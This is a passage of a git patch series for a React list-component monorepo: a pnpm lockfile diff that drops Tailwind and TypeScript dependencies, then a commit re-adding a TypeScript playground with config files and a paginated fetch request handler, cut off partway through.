sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [linux] - - lightningcss-linux-x64-musl@1.32.0: - resolution: {integrity: sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [linux] - - lightningcss-win32-arm64-msvc@1.32.0: - resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} - engines: {node: '>= 12.0.0'} - cpu: [arm64] - os: [win32] - - lightningcss-win32-x64-msvc@1.32.0: - resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} - engines: {node: '>= 12.0.0'} - cpu: [x64] - os: [win32] - - lightningcss@1.32.0: - resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} - engines: {node: '>= 12.0.0'} - locate-path@6.0.0: resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} engines: {node: '>=10'} @@ -1566,9 +1291,6 @@ packages: node-releases@2.0.19: resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} - node-releases@2.0.36: - resolution: {integrity: sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==} - oniguruma-parser@0.12.1: resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} @@ -1613,11 +1335,12 @@ packages: resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} engines: {node: '>=12'} - postcss-value-parser@4.2.0: - resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + postcss@8.5.3: + resolution: {integrity: sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==} + engines: {node: ^10 || ^12 || >=14} - postcss@8.5.8: - resolution: {integrity: sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} + postcss@8.5.6: + resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} engines: {node: ^10 || ^12 || >=14} prelude-ls@1.2.1: @@ -1720,13 +1443,6 @@ packages: tabbable@6.3.0: resolution: {integrity: sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ==} - tailwindcss@4.2.2: - resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} - - tapable@2.3.0: - resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==} - engines: {node: '>=6'} - tinyglobby@0.2.13: resolution: {integrity: sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==} engines: {node: '>=12.0.0'} @@ -1742,11 +1458,6 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} - engines: {node: '>=14.17'} - hasBin: true - unist-util-is@6.0.1: resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} @@ -1768,12 +1479,6 @@ packages: peerDependencies: browserslist: '>= 4.21.0' - update-browserslist-db@1.2.3: - resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} - hasBin: true - peerDependencies: - browserslist: '>= 4.21.0' - uri-js@4.4.1: resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} @@ -1907,8 +1612,6 @@ packages: snapshots: - '@alloc/quick-lru@5.2.0': {} - '@ampproject/remapping@2.3.0': dependencies: '@jridgewell/gen-mapping': 0.3.8 @@ -2118,9 +1821,9 @@ snapshots: '@esbuild/win32-x64@0.25.3': optional: true - '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1(jiti@2.6.1))': + '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1)': dependencies: - eslint: 9.25.1(jiti@2.6.1) + eslint: 9.25.1 eslint-visitor-keys: 3.4.3 '@eslint-community/regexpp@4.12.1': {} @@ -2189,24 +1892,21 @@ snapshots: '@jridgewell/gen-mapping@0.3.8': dependencies: '@jridgewell/set-array': 1.2.1 - '@jridgewell/sourcemap-codec': 1.5.5 - '@jridgewell/trace-mapping': 0.3.25 - - '@jridgewell/remapping@2.3.5': - dependencies: - '@jridgewell/gen-mapping': 0.3.8 + '@jridgewell/sourcemap-codec': 1.5.0 '@jridgewell/trace-mapping': 0.3.25 '@jridgewell/resolve-uri@3.1.2': {} '@jridgewell/set-array@1.2.1': {} + '@jridgewell/sourcemap-codec@1.5.0': {} + '@jridgewell/sourcemap-codec@1.5.5': {} '@jridgewell/trace-mapping@0.3.25': dependencies: '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/sourcemap-codec': 1.5.0 '@rolldown/pluginutils@1.0.0-beta.53': {} @@ -2374,75 +2074,6 @@ snapshots: '@shikijs/vscode-textmate@10.0.2': {} - '@tailwindcss/node@4.2.2': - dependencies: - '@jridgewell/remapping': 2.3.5 - enhanced-resolve: 5.20.1 - jiti: 2.6.1 - lightningcss: 1.32.0 - magic-string: 0.30.21 - source-map-js: 1.2.1 - tailwindcss: 4.2.2 - - '@tailwindcss/oxide-android-arm64@4.2.2': - optional: true - - '@tailwindcss/oxide-darwin-arm64@4.2.2': - optional: true - - '@tailwindcss/oxide-darwin-x64@4.2.2': - optional: true - - '@tailwindcss/oxide-freebsd-x64@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-arm64-musl@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-x64-gnu@4.2.2': - optional: true - - '@tailwindcss/oxide-linux-x64-musl@4.2.2': - optional: true - - '@tailwindcss/oxide-wasm32-wasi@4.2.2': - optional: true - - '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': - optional: true - - '@tailwindcss/oxide-win32-x64-msvc@4.2.2': - optional: true - - '@tailwindcss/oxide@4.2.2': - optionalDependencies: - '@tailwindcss/oxide-android-arm64': 4.2.2 - '@tailwindcss/oxide-darwin-arm64': 4.2.2 - '@tailwindcss/oxide-darwin-x64': 4.2.2 - '@tailwindcss/oxide-freebsd-x64': 4.2.2 - '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 - '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 - '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 - '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 - '@tailwindcss/oxide-linux-x64-musl': 4.2.2 - '@tailwindcss/oxide-wasm32-wasi': 4.2.2 - '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 - '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 - - '@tailwindcss/postcss@4.2.2': - dependencies: - '@alloc/quick-lru': 5.2.0 - '@tailwindcss/node': 4.2.2 - '@tailwindcss/oxide': 4.2.2 - postcss: 8.5.8 - tailwindcss: 4.2.2 - '@types/babel__core@7.20.5': dependencies: '@babel/parser': 7.27.0 @@ -2491,40 +2122,32 @@ snapshots: dependencies: '@types/react': 19.1.2 - '@types/react-dom@19.2.3(@types/react@19.2.14)': - dependencies: - '@types/react': 19.2.14 - '@types/react@19.1.2': dependencies: csstype: 3.1.3 - '@types/react@19.2.14': - dependencies: - csstype: 3.2.3 - '@types/unist@3.0.3': {} '@types/web-bluetooth@0.0.21': {} '@ungap/structured-clone@1.3.0': {} - '@vitejs/plugin-react@4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0))': + '@vitejs/plugin-react@4.4.1(vite@6.3.3)': dependencies: '@babel/core': 7.26.10 '@babel/plugin-transform-react-jsx-self': 7.25.9(@babel/core@7.26.10) '@babel/plugin-transform-react-jsx-source': 7.25.9(@babel/core@7.26.10) '@types/babel__core': 7.20.5 react-refresh: 0.17.0 - vite: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) + vite: 6.3.3 transitivePeerDependencies: - supports-color - '@vitejs/plugin-vue@6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3))': + '@vitejs/plugin-vue@6.0.3(vite@7.2.7)(vue@3.5.25)': dependencies: '@rolldown/pluginutils': 1.0.0-beta.53 - vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) - vue: 3.5.25(typescript@5.9.3) + vite: 7.2.7 + vue: 3.5.25 '@vue/compiler-core@3.5.25': dependencies: @@ -2548,7 +2171,7 @@ snapshots: '@vue/shared': 3.5.25 estree-walker: 2.0.2 magic-string: 0.30.21 - postcss: 8.5.8 + postcss: 8.5.6 source-map-js: 1.2.1 '@vue/compiler-ssr@3.5.25': @@ -2590,35 +2213,35 @@ snapshots: '@vue/shared': 3.5.25 csstype: 3.1.3 - '@vue/server-renderer@3.5.25(vue@3.5.25(typescript@5.9.3))': + '@vue/server-renderer@3.5.25(vue@3.5.25)': dependencies: '@vue/compiler-ssr': 3.5.25 '@vue/shared': 3.5.25 - vue: 3.5.25(typescript@5.9.3) + vue: 3.5.25 '@vue/shared@3.5.25': {} - '@vueuse/core@14.1.0(vue@3.5.25(typescript@5.9.3))': + '@vueuse/core@14.1.0(vue@3.5.25)': dependencies: '@types/web-bluetooth': 0.0.21 '@vueuse/metadata': 14.1.0 - '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) - vue: 3.5.25(typescript@5.9.3) + '@vueuse/shared': 14.1.0(vue@3.5.25) + vue: 3.5.25 - '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3))': + '@vueuse/integrations@14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25)': dependencies: - '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) - '@vueuse/shared': 14.1.0(vue@3.5.25(typescript@5.9.3)) - vue: 3.5.25(typescript@5.9.3) + '@vueuse/core': 14.1.0(vue@3.5.25) + '@vueuse/shared': 14.1.0(vue@3.5.25) + vue: 3.5.25 optionalDependencies: axios: 1.11.0 focus-trap: 7.6.6 '@vueuse/metadata@14.1.0': {} - '@vueuse/shared@14.1.0(vue@3.5.25(typescript@5.9.3))': + '@vueuse/shared@14.1.0(vue@3.5.25)': dependencies: - vue: 3.5.25(typescript@5.9.3) + vue: 3.5.25 acorn-jsx@5.3.2(acorn@8.14.1): dependencies: @@ -2641,15 +2264,6 @@ snapshots: asynckit@0.4.0: {} - autoprefixer@10.4.27(postcss@8.5.8): - dependencies: - browserslist: 4.28.1 - caniuse-lite: 1.0.30001780 - fraction.js: 5.3.4 - picocolors: 1.1.1 - postcss: 8.5.8 - postcss-value-parser: 4.2.0 - axios@1.11.0: dependencies: follow-redirects: 1.15.11 @@ -2660,8 +2274,6 @@ snapshots: balanced-match@1.0.2: {} - baseline-browser-mapping@2.10.9: {} - birpc@2.9.0: {} brace-expansion@1.1.11: @@ -2671,19 +2283,11 @@ snapshots: browserslist@4.24.4: dependencies: - caniuse-lite: 1.0.30001780 + caniuse-lite: 1.0.30001715 electron-to-chromium: 1.5.141 node-releases: 2.0.19 update-browserslist-db: 1.1.3(browserslist@4.24.4) - browserslist@4.28.1: - dependencies: - baseline-browser-mapping: 2.10.9 - caniuse-lite: 1.0.30001780 - electron-to-chromium: 1.5.321 - node-releases: 2.0.36 - update-browserslist-db: 1.2.3(browserslist@4.28.1) - call-bind-apply-helpers@1.0.2: dependencies: es-errors: 1.3.0 @@ -2691,7 +2295,7 @@ snapshots: callsites@3.1.0: {} - caniuse-lite@1.0.30001780: {} + caniuse-lite@1.0.30001715: {} ccount@2.0.1: {} @@ -2732,8 +2336,6 @@ snapshots: csstype@3.1.3: {} - csstype@3.2.3: {} - debug@4.4.0: dependencies: ms: 2.1.3 @@ -2744,8 +2346,6 @@ snapshots: dequal@2.0.3: {} - detect-libc@2.1.2: {} - devlop@1.1.0: dependencies: dequal: 2.0.3 @@ -2758,13 +2358,6 @@ snapshots: electron-to-chromium@1.5.141: {} - electron-to-chromium@1.5.321: {} - - enhanced-resolve@5.20.1: - dependencies: - graceful-fs: 4.2.11 - tapable: 2.3.0 - entities@4.5.0: {} es-define-property@1.0.1: {} @@ -2814,13 +2407,13 @@ snapshots: escape-string-regexp@4.0.0: {} - eslint-plugin-react-hooks@5.2.0(eslint@9.25.1(jiti@2.6.1)): + eslint-plugin-react-hooks@5.2.0(eslint@9.25.1): dependencies: - eslint: 9.25.1(jiti@2.6.1) + eslint: 9.25.1 - eslint-plugin-react-refresh@0.4.20(eslint@9.25.1(jiti@2.6.1)): + eslint-plugin-react-refresh@0.4.20(eslint@9.25.1): dependencies: - eslint: 9.25.1(jiti@2.6.1) + eslint: 9.25.1 eslint-scope@8.3.0: dependencies: @@ -2831,9 +2424,9 @@ snapshots: eslint-visitor-keys@4.2.0: {} - eslint@9.25.1(jiti@2.6.1): + eslint@9.25.1: dependencies: - '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1(jiti@2.6.1)) + '@eslint-community/eslint-utils': 4.6.1(eslint@9.25.1) '@eslint-community/regexpp': 4.12.1 '@eslint/config-array': 0.20.0 '@eslint/config-helpers': 0.2.1 @@ -2868,8 +2461,6 @@ snapshots: minimatch: 3.1.2 natural-compare: 1.4.0 optionator: 0.9.4 - optionalDependencies: - jiti: 2.6.1 transitivePeerDependencies: - supports-color @@ -2937,8 +2528,6 @@ snapshots: hasown: 2.0.2 mime-types: 2.1.35 - fraction.js@5.3.4: {} - fsevents@2.3.3: optional: true @@ -2976,8 +2565,6 @@ snapshots: gopd@1.2.0: {} - graceful-fs@4.2.11: {} - has-flag@4.0.0: {} has-symbols@1.1.0: {} @@ -3033,8 +2620,6 @@ snapshots: isexe@2.0.0: {} - jiti@2.6.1: {} - js-tokens@4.0.0: {} js-yaml@4.1.0: @@ -3060,55 +2645,6 @@ snapshots: prelude-ls: 1.2.1 type-check: 0.4.0 - lightningcss-android-arm64@1.32.0: - optional: true - - lightningcss-darwin-arm64@1.32.0: - optional: true - - lightningcss-darwin-x64@1.32.0: - optional: true - - lightningcss-freebsd-x64@1.32.0: - optional: true - - lightningcss-linux-arm-gnueabihf@1.32.0: - optional: true - - lightningcss-linux-arm64-gnu@1.32.0: - optional: true - - lightningcss-linux-arm64-musl@1.32.0: - optional: true - - lightningcss-linux-x64-gnu@1.32.0: - optional: true - - lightningcss-linux-x64-musl@1.32.0: - optional: true - - lightningcss-win32-arm64-msvc@1.32.0: - optional: true - - lightningcss-win32-x64-msvc@1.32.0: - optional: true - - lightningcss@1.32.0: - dependencies: - detect-libc: 2.1.2 - optionalDependencies: - lightningcss-android-arm64: 1.32.0 - lightningcss-darwin-arm64: 1.32.0 - lightningcss-darwin-x64: 1.32.0 - lightningcss-freebsd-x64: 1.32.0 - lightningcss-linux-arm-gnueabihf: 1.32.0 - lightningcss-linux-arm64-gnu: 1.32.0 - lightningcss-linux-arm64-musl: 1.32.0 - lightningcss-linux-x64-gnu: 1.32.0 - lightningcss-linux-x64-musl: 1.32.0 - lightningcss-win32-arm64-msvc: 1.32.0 - lightningcss-win32-x64-msvc: 1.32.0 - locate-path@6.0.0: dependencies: p-locate: 5.0.0 @@ -3178,8 +2714,6 @@ snapshots: node-releases@2.0.19: {} - node-releases@2.0.36: {} - oniguruma-parser@0.12.1: {} oniguruma-to-es@4.3.4: @@ -3221,9 +2755,13 @@ snapshots: picomatch@4.0.3: {} - postcss-value-parser@4.2.0: {} + postcss@8.5.3: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 - postcss@8.5.8: + postcss@8.5.6: dependencies: nanoid: 3.3.11 picocolors: 1.1.1 @@ -3358,10 +2896,6 @@ snapshots: tabbable@6.3.0: {} - tailwindcss@4.2.2: {} - - tapable@2.3.0: {} - tinyglobby@0.2.13: dependencies: fdir: 6.4.4(picomatch@4.0.2) @@ -3378,8 +2912,6 @@ snapshots: dependencies: prelude-ls: 1.2.1 - typescript@5.9.3: {} - unist-util-is@6.0.1: dependencies: '@types/unist': 3.0.3 @@ -3409,12 +2941,6 @@ snapshots: escalade: 3.2.0 picocolors: 1.1.1 - update-browserslist-db@1.2.3(browserslist@4.28.1): - dependencies: - browserslist: 4.28.1 - escalade: 3.2.0 - picocolors: 1.1.1 - uri-js@4.4.1: dependencies: punycode: 2.3.1 @@ -3429,33 +2955,29 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0): + vite@6.3.3: dependencies: esbuild: 0.25.3 fdir: 6.4.4(picomatch@4.0.2) picomatch: 4.0.2 - postcss: 8.5.8 + postcss: 8.5.3 rollup: 4.40.0 tinyglobby: 0.2.13 optionalDependencies: fsevents: 2.3.3 - jiti: 2.6.1 - lightningcss: 1.32.0 - vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0): + vite@7.2.7: dependencies: esbuild: 0.25.3 fdir: 6.5.0(picomatch@4.0.3) picomatch: 4.0.3 - postcss: 8.5.8 + postcss: 8.5.6 rollup: 4.53.3 tinyglobby: 0.2.15 optionalDependencies: fsevents: 2.3.3 - jiti: 2.6.1 - lightningcss: 1.32.0 - vitepress@2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3): + vitepress@2.0.0-alpha.15(axios@1.11.0)(postcss@8.5.6): dependencies: '@docsearch/css': 4.3.2 '@docsearch/js': 4.3.2 @@ -3464,19 +2986,19 @@ snapshots: '@shikijs/transformers': 3.20.0 '@shikijs/types': 3.20.0 '@types/markdown-it': 14.1.2 - '@vitejs/plugin-vue': 6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3)) + '@vitejs/plugin-vue': 6.0.3(vite@7.2.7)(vue@3.5.25) '@vue/devtools-api': 8.0.5 '@vue/shared': 3.5.25 - '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) - '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3)) + '@vueuse/core': 14.1.0(vue@3.5.25) + '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25) focus-trap: 7.6.6 mark.js: 8.11.1 minisearch: 7.2.0 shiki: 3.20.0 - vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) - vue: 3.5.25(typescript@5.9.3) + vite: 7.2.7 + vue: 3.5.25 optionalDependencies: - postcss: 8.5.8 + postcss: 8.5.6 transitivePeerDependencies: - '@types/node' - async-validator @@ -3502,15 +3024,13 @@ snapshots: - universal-cookie - yaml - vue@3.5.25(typescript@5.9.3): + vue@3.5.25: dependencies: '@vue/compiler-dom': 3.5.25 '@vue/compiler-sfc': 3.5.25 '@vue/runtime-dom': 3.5.25 - '@vue/server-renderer': 3.5.25(vue@3.5.25(typescript@5.9.3)) + '@vue/server-renderer': 3.5.25(vue@3.5.25) '@vue/shared': 3.5.25 - optionalDependencies: - typescript: 5.9.3 which@2.0.2: dependencies: From a19592b5e22e44373e7112099d9f04f0a176ba8f Mon Sep 17 00:00:00 2001 From: darshak-7span Date: Fri, 20 Mar 2026 19:10:01 +0530 Subject: [PATCH 5/7] Reapply "Enhance playground and TypeScript setup: integrate Tailwind CSS, update dependencies, and add new components for improved list functionality." This reverts commit c7842fee441853a5ba079f2d5a72a626cae3a184. --- apps/playground-typescript/index.html | 14 + apps/playground-typescript/package.json | 29 + apps/playground-typescript/postcss.config.mjs | 6 + apps/playground-typescript/src/App.tsx | 6 + .../src/api/request-handler.ts | 87 +++ .../src/components/list-wrapper.tsx | 298 ++++++++ .../src/components/react-list.ts | 75 ++ apps/playground-typescript/src/index.css | 2 + apps/playground-typescript/src/main.tsx | 11 + apps/playground-typescript/tailwind.config.js | 8 + apps/playground-typescript/tsconfig.json | 16 + apps/playground-typescript/vite.config.ts | 7 + apps/playground/package.json | 10 +- apps/playground/postcss.config.js | 6 + .../src/components/list-wrapper.jsx | 654 ++++++++---------- apps/playground/src/index.css | 10 +- apps/playground/tailwind.config.js | 9 + packages/react-list/package.json | 21 +- .../react-list/src/components/attributes.jsx | 53 -- .../react-list/src/components/attributes.tsx | 87 +++ .../src/components/{empty.jsx => empty.tsx} | 6 +- .../src/components/{error.jsx => error.tsx} | 9 +- .../src/components/{go-to.jsx => go-to.tsx} | 20 +- .../src/components/initial-loader.jsx | 25 - .../src/components/initial-loader.tsx | 40 ++ .../src/components/{items.jsx => items.tsx} | 24 +- .../src/components/{list.jsx => list.tsx} | 94 ++- .../{load-more.jsx => load-more.tsx} | 14 +- packages/react-list/src/components/loader.jsx | 29 - packages/react-list/src/components/loader.tsx | 39 ++ .../{pagination.jsx => pagination.tsx} | 46 +- .../components/{per-page.jsx => per-page.tsx} | 48 +- .../components/{refresh.jsx => refresh.tsx} | 18 +- packages/react-list/src/components/search.jsx | 59 -- packages/react-list/src/components/search.tsx | 75 ++ .../components/{summary.jsx => summary.tsx} | 23 +- .../src/components/{utils.js => utils.ts} | 23 +- .../react-list/src/context/list-provider.jsx | 55 -- .../react-list/src/context/list-provider.tsx | 91 +++ .../react-list/src/{index.js => index.ts} | 22 + packages/react-list/src/types/index.ts | 22 + .../react-list/src/types/list-provider.ts | 156 +++++ packages/react-list/src/types/react-list.ts | 39 ++ .../react-list/src/{utils.js => utils.ts} | 0 packages/react-list/tsconfig.build.json | 18 + packages/react-list/tsconfig.json | 6 + pnpm-lock.yaml | 616 +++++++++++++++-- 47 files changed, 2303 insertions(+), 723 deletions(-) create mode 100644 apps/playground-typescript/index.html create mode 100644 apps/playground-typescript/package.json create mode 100644 apps/playground-typescript/postcss.config.mjs create mode 100644 apps/playground-typescript/src/App.tsx create mode 100644 apps/playground-typescript/src/api/request-handler.ts create mode 100644 apps/playground-typescript/src/components/list-wrapper.tsx create mode 100644 apps/playground-typescript/src/components/react-list.ts create mode 100644 apps/playground-typescript/src/index.css create mode 100644 apps/playground-typescript/src/main.tsx create mode 100644 apps/playground-typescript/tailwind.config.js create mode 100644 apps/playground-typescript/tsconfig.json create mode 100644 apps/playground-typescript/vite.config.ts create mode 100644 apps/playground/postcss.config.js create mode 100644 apps/playground/tailwind.config.js delete mode 100644 packages/react-list/src/components/attributes.jsx create mode 100644 packages/react-list/src/components/attributes.tsx rename packages/react-list/src/components/{empty.jsx => empty.tsx} (77%) rename packages/react-list/src/components/{error.jsx => error.tsx} (72%) rename packages/react-list/src/components/{go-to.jsx => go-to.tsx} (73%) delete mode 100644 packages/react-list/src/components/initial-loader.jsx create mode 100644 packages/react-list/src/components/initial-loader.tsx rename packages/react-list/src/components/{items.jsx => items.tsx} (64%) rename packages/react-list/src/components/{list.jsx => list.tsx} (81%) rename packages/react-list/src/components/{load-more.jsx => load-more.tsx} (71%) delete mode 100644 packages/react-list/src/components/loader.jsx create mode 100644 packages/react-list/src/components/loader.tsx rename packages/react-list/src/components/{pagination.jsx => pagination.tsx} (76%) rename packages/react-list/src/components/{per-page.jsx => per-page.tsx} (55%) rename packages/react-list/src/components/{refresh.jsx => refresh.tsx} (63%) delete mode 100644 packages/react-list/src/components/search.jsx create mode 100644 packages/react-list/src/components/search.tsx rename packages/react-list/src/components/{summary.jsx => summary.tsx} (72%) rename packages/react-list/src/components/{utils.js => utils.ts} (51%) delete mode 100644 packages/react-list/src/context/list-provider.jsx create mode 100644 packages/react-list/src/context/list-provider.tsx rename packages/react-list/src/{index.js => index.ts} (64%) create mode 100644 packages/react-list/src/types/index.ts create mode 100644 packages/react-list/src/types/list-provider.ts create mode 100644 packages/react-list/src/types/react-list.ts rename packages/react-list/src/{utils.js => utils.ts} (100%) create mode 100644 packages/react-list/tsconfig.build.json create mode 100644 packages/react-list/tsconfig.json diff --git a/apps/playground-typescript/index.html b/apps/playground-typescript/index.html new file mode 100644 index 0000000..fa41216 --- /dev/null +++ b/apps/playground-typescript/index.html @@ -0,0 +1,14 @@ + + + + + + + Vite + React (TypeScript) + + +
+ + + + diff --git a/apps/playground-typescript/package.json b/apps/playground-typescript/package.json new file mode 100644 index 0000000..3416511 --- /dev/null +++ b/apps/playground-typescript/package.json @@ -0,0 +1,29 @@ +{ + "name": "playground-typescript", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "typecheck": "tsc -p tsconfig.json --noEmit", + "preview": "vite preview" + }, + "dependencies": { + "@7span/react-list": "workspace:*", + "@iconify/react": "^5.2.1", + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@tailwindcss/postcss": "^4.2.2", + "@types/react": "^19.0.10", + "@types/react-dom": "^19.0.4", + "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.27", + "postcss": "^8.5.8", + "tailwindcss": "^4.2.2", + "typescript": "^5.9.3", + "vite": "^6.3.1" + } +} diff --git a/apps/playground-typescript/postcss.config.mjs b/apps/playground-typescript/postcss.config.mjs new file mode 100644 index 0000000..51a6e4e --- /dev/null +++ b/apps/playground-typescript/postcss.config.mjs @@ -0,0 +1,6 @@ +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; diff --git a/apps/playground-typescript/src/App.tsx b/apps/playground-typescript/src/App.tsx new file mode 100644 index 0000000..92febc7 --- /dev/null +++ b/apps/playground-typescript/src/App.tsx @@ -0,0 +1,6 @@ +import ListWrapper from './components/list-wrapper'; + +export default function App() { + return ; +} + diff --git a/apps/playground-typescript/src/api/request-handler.ts b/apps/playground-typescript/src/api/request-handler.ts new file mode 100644 index 0000000..e6b611a --- /dev/null +++ b/apps/playground-typescript/src/api/request-handler.ts @@ -0,0 +1,87 @@ +import type { ReactListRequestArgs, ReactListResponse } from '@7span/react-list'; + +export type PlaygroundItem = { + id: number; + name: string; + status?: string; + date_updated?: string; + [key: string]: unknown; +}; + +type Filters = Record; + +const requestHandler = async ( + args: ReactListRequestArgs, +): Promise> => { + const { + endpoint, + page, + perPage, + search, + sortBy, + sortOrder, + filters, + meta, + } = args; + + const params = new URLSearchParams(); + + if (page && perPage) { + params.append('page', String(page)); + params.append('limit', String(perPage)); + } + + if (search) params.append('search', search); + + if (sortBy) { + params.append( + 'sort', + sortOrder === 'desc' ? `-${sortBy}` : sortBy, + ); + } + + if (filters && Object.keys(filters).length > 0) { + // Keep it simple for the playground. + for (const [key, value] of Object.entries(filters)) { + if (value === undefined || value === '') continue; + params.append(`filter[${key}][_eq]`, String(value)); + } + } + + // Example: meta support (not required by ReactList, just forwarded in args) + if (meta && typeof meta === 'object') { + // noop; you can add meta params here. + } + + const queryString = params.toString(); + const url = `https://everest.7span.in/items/${endpoint}${ + queryString ? `?${queryString}` : '' + }`; + + try { + const response = await fetch(url); + if (!response.ok) { + throw new Error(`API request failed: ${response.status}`); + } + const data: any = await response.json(); + + return { + items: (data.data ?? []) as PlaygroundItem[], + count: + data.meta?.total_count ?? + data.meta?.filter_count ?? + 0, + meta: data.meta ?? {}, + }; + } catch (error) { + return { + items: [], + count: 0, + 